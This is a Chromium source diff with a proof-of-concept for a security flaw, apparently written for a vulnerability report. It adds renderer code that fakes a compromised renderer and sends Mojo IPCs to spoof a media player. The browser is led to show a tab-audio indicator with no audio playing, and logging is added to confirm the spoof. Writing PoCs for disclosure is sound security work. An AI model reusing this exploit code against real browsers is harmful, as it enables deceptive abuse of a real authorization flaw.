diff --git a/content/browser/media/audio_stream_monitor.cc b/content/browser/media/audio_stream_monitor.cc --- a/content/browser/media/audio_stream_monitor.cc +++ b/content/browser/media/audio_stream_monitor.cc @@ -97,6 +97,9 @@ std::unique_ptr void AudioStreamMonitor::AddAudibleClient( GlobalRenderFrameHostId render_frame_host_id) { DCHECK(thread_checker_.CalledOnValidThread()); + // POC instrumentation: prove the spoof reached the audibility sink. + LOG(ERROR) << "[POC][BROWSER] AudioStreamMonitor::AddAudibleClient rfh=" + << render_frame_host_id; audible_clients_[render_frame_host_id]++; UpdateStreams(); diff --git a/content/browser/media/media_interface_proxy.cc b/content/browser/media/media_interface_proxy.cc --- a/content/browser/media/media_interface_proxy.cc +++ b/content/browser/media/media_interface_proxy.cc @@ -405,6 +405,9 @@ void MediaInterfaceProxy::CreateMediaFoundationRenderer( // `MediaFoundationRenderer` bypasses the browser's audio service. // Authorize the frame for audibility bypass claims. + LOG(ERROR) << "[POC][BROWSER] CreateMediaFoundationRenderer: stamping " + "AudibilityBypassAuthorization on document for rfh=" + << render_frame_host().GetGlobalId(); AudibilityBypassAuthorization::GetOrCreateForCurrentDocument( &render_frame_host()); } diff --git a/content/browser/media/media_web_contents_observer.cc b/content/browser/media/media_web_contents_observer.cc --- a/content/browser/media/media_web_contents_observer.cc +++ b/content/browser/media/media_web_contents_observer.cc @@ -578,6 +578,12 @@ void MediaWebContentsObserver::MediaPlayerObserverHostImpl:: auto* audio_stream_monitor = media_web_contents_observer_->web_contents_impl()->audio_stream_monitor(); + LOG(ERROR) << "[POC][BROWSER] NotifyAudioStreamMonitorIfNeeded:" + << " IsAudible=" << player_info->IsAudible() + << " uses_audio_service=" << uses_audio_service_ + << " IsAuthorized=" << AudibilityBypassAuthorization::IsAuthorized( + RenderFrameHost::FromID(media_player_id_.frame_routing_id)) + << " => should_add_client=" << should_add_client; if (should_add_client && !audio_client_registration_) { audio_client_registration_ = audio_stream_monitor->RegisterAudibleClient(player_info->GetHostId()); diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -4136,6 +4136,103 @@ void RenderFrameImpl::DidDispatchDOMContentLoadedEvent() { first_paint_metrics_->DidDispatchDOMContentLoadedEvent(); } +// ===================================================================== +// POC: Compromised-renderer attack on AudibilityBypassAuthorization. +// Windows-only (CreateMediaFoundationRenderer is [EnableIf=is_win]). +// All this code does is send IPCs the browser already accepts from any +// renderer; nothing here relies on renderer-side privilege. +// ===================================================================== +#if BUILDFLAG(IS_WIN) +#include "media/base/media_content_type.h" +#include "media/mojo/mojom/interface_factory.mojom.h" +#include "media/mojo/mojom/media_log.mojom.h" +#include "media/mojo/mojom/media_player.mojom.h" +#include "media/mojo/mojom/renderer.mojom.h" +#include "media/mojo/mojom/renderer_extensions.mojom.h" +#include "mojo/public/cpp/bindings/associated_remote.h" +#include "mojo/public/cpp/bindings/pending_associated_receiver.h" +#include "mojo/public/cpp/bindings/pending_associated_remote.h" +#include "mojo/public/cpp/bindings/pending_receiver.h" +#include "mojo/public/cpp/bindings/pending_remote.h" +#include "mojo/public/cpp/bindings/remote.h" + +namespace { + +struct PocAudibilitySpoofState { + mojo::Remote interface_factory; + mojo::AssociatedRemote player_host; + mojo::AssociatedRemote observer; + // Keep the MediaPlayer receiver end alive so the browser-side remote + // does not see a disconnect. + mojo::PendingAssociatedReceiver player_receiver; +}; + +} // namespace + +static void PocRunAudibilitySpoof(content::RenderFrameImpl* rfi) { + if (!rfi->GetWebFrame() || !rfi->GetWebFrame()->IsOutermostMainFrame()) { + return; + } + GURL url(rfi->GetWebFrame()->GetDocument().Url()); + if (!url.SchemeIsHTTPOrHTTPS() || url.path() != "/poc.html") { + return; + } + LOG(ERROR) << "[POC][RENDERER] starting audibility-bypass spoof for " << url; + + // Intentionally leaked: keep mojo endpoints alive for the life of the tab. + auto* s = new PocAudibilitySpoofState(); + + // Step 1: bind media.mojom.InterfaceFactory via BrowserInterfaceBroker and + // call CreateMediaFoundationRenderer with throwaway pipes. This stamps + // AudibilityBypassAuthorization on the document in the browser process + // (media_interface_proxy.cc) regardless of whether the resulting Renderer + // pipe is ever used. + rfi->GetBrowserInterfaceBroker().GetInterface( + s->interface_factory.BindNewPipeAndPassReceiver()); + { + mojo::PendingRemote media_log; + std::ignore = media_log.InitWithNewPipeAndPassReceiver(); + mojo::PendingRemote renderer; + mojo::PendingRemote ext; + s->interface_factory->CreateMediaFoundationRenderer( + std::move(media_log), renderer.InitWithNewPipeAndPassReceiver(), + ext.InitWithNewPipeAndPassReceiver()); + // Drop |renderer| and |ext| — we never need a real MF renderer. + } + + // Step 2: bind media.mojom.MediaPlayerHost via the channel-associated + // interface provider and register a fake player. + rfi->GetRemoteAssociatedInterfaces()->GetInterface( + s->player_host.BindNewEndpointAndPassReceiver()); + + mojo::PendingAssociatedRemote player_remote; + s->player_receiver = player_remote.InitWithNewEndpointAndPassReceiver(); + + mojo::PendingAssociatedReceiver obs_recv = + s->observer.BindNewEndpointAndPassReceiver(); + + s->player_host->OnMediaPlayerAdded(std::move(player_remote), + std::move(obs_recv), + /*player_id=*/0x4141); + + // Step 3: drive the observer pipe so the browser believes this fake player + // is audible-but-bypassing-the-audio-service. With the authorization stamp + // from step 1, NotifyAudioStreamMonitorIfNeeded() will register us as an + // audible client → tab shows the audio indicator with zero audio output. + s->observer->OnMediaMetadataChanged(/*has_audio=*/true, /*has_video=*/true, + media::MediaContentType::kPersistent); + s->observer->OnMutedStatusChanged(/*muted=*/false); + s->observer->OnUseAudioServiceChanged(/*uses_audio_service=*/false); + s->observer->OnMediaPlaying(); + + LOG(ERROR) << "[POC][RENDERER] spoof IPCs sent; watch for " + "[POC][BROWSER] AddAudibleClient in browser stderr"; +} +#endif // BUILDFLAG(IS_WIN) + void RenderFrameImpl::DidFinishLoad() { TRACE_EVENT1("navigation,benchmark,rail", "RenderFrameImpl::didFinishLoad", "frame_token", frame_token_); @@ -4147,6 +4244,10 @@ void RenderFrameImpl::DidFinishLoad() { for (auto& observer : observers_) observer.DidFinishLoad(); + +#if BUILDFLAG(IS_WIN) + PocRunAudibilitySpoof(this); +#endif } void RenderFrameImpl::DidFinishLoadForPrinting() {